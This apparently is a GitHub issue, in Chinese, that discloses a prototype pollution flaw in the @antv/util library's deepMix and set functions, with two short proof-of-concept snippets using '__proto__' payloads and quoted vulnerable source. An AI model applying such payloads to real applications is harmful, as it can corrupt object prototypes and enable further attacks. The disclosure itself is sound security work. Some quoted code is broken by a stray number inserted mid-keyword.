潜在的原型链污染漏洞

复现代码1：

let deepMix = require("@antv/util").deepMix;

let BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');

let obj = {};
deepMix(obj, BAD_JSON);

console.log({}.test); // 123

问题代码：

util/src/lodash/deep-mix.ts

Lines 42 to 47 in c499a30

    
           const deepMix = function (rst: any, ...args: any[]) { 
        
             for (let i = 0; i < args.length; i += 1) { 
        
               _deepMix(rst, args[i]); 
        
             } 
        
             return rst; 
        
           };

复现代码2：

let set = require("@antv/util").set;

let obj = {};
set(obj, "__proto__.test", 123);

console.log({}.test); // 123

问题代码：

util/src/lodash/set.ts

Lines 5 to 29 in c499a30

    
           /** 
        
            * https://github.com/developit/dlv/blob/master/index.js 
        
            * @param obj 
        
            * @param path 
        
            * @param value 
        
            */ 
        
           export default (obj: any, path: string | any[], value: any): any => { 
        
             let o = obj; 
        
             const keyArr = isString(path) ? path.split('.') : path; 
        
             keyArr.forEach((key: string | number, idx: number) => { 
        
               // 不是最后一个 
        
               if (idx < keyArr.length - 1) { 
        
                 if (!isObject(o[key])) { 
        
                   o[key] = isNumber(keyArr[idx + 1]) ? [] : {}; 
        
                 } 
        
                 o = o[key]; 
        
               } e
5274
lse { 
        
                 o[key] = value; 
        
               } 
        
             }); 
        
             return obj; 
        
           };

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

	const deepMix = function (rst: any, ...args: any[]) {
	for (let i = 0; i < args.length; i += 1) {
	_deepMix(rst, args[i]);
	}
	return rst;
	};

	/**
	* https://github.com/developit/dlv/blob/master/index.js
	* @param obj
	* @param path
	* @param value
	*/
	export default (obj: any, path: string \| any[], value: any): any => {
	let o = obj;

	const keyArr = isString(path) ? path.split('.') : path;

	keyArr.forEach((key: string \| number, idx: number) => {
	// 不是最后一个
	if (idx < keyArr.length - 1) {
	if (!isObject(o[key])) {
	o[key] = isNumber(keyArr[idx + 1]) ? [] : {};
	}
	o = o[key];
	} e 5274 lse {
	o[key] = value;
	}
	});

	return obj;
	};

Description

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions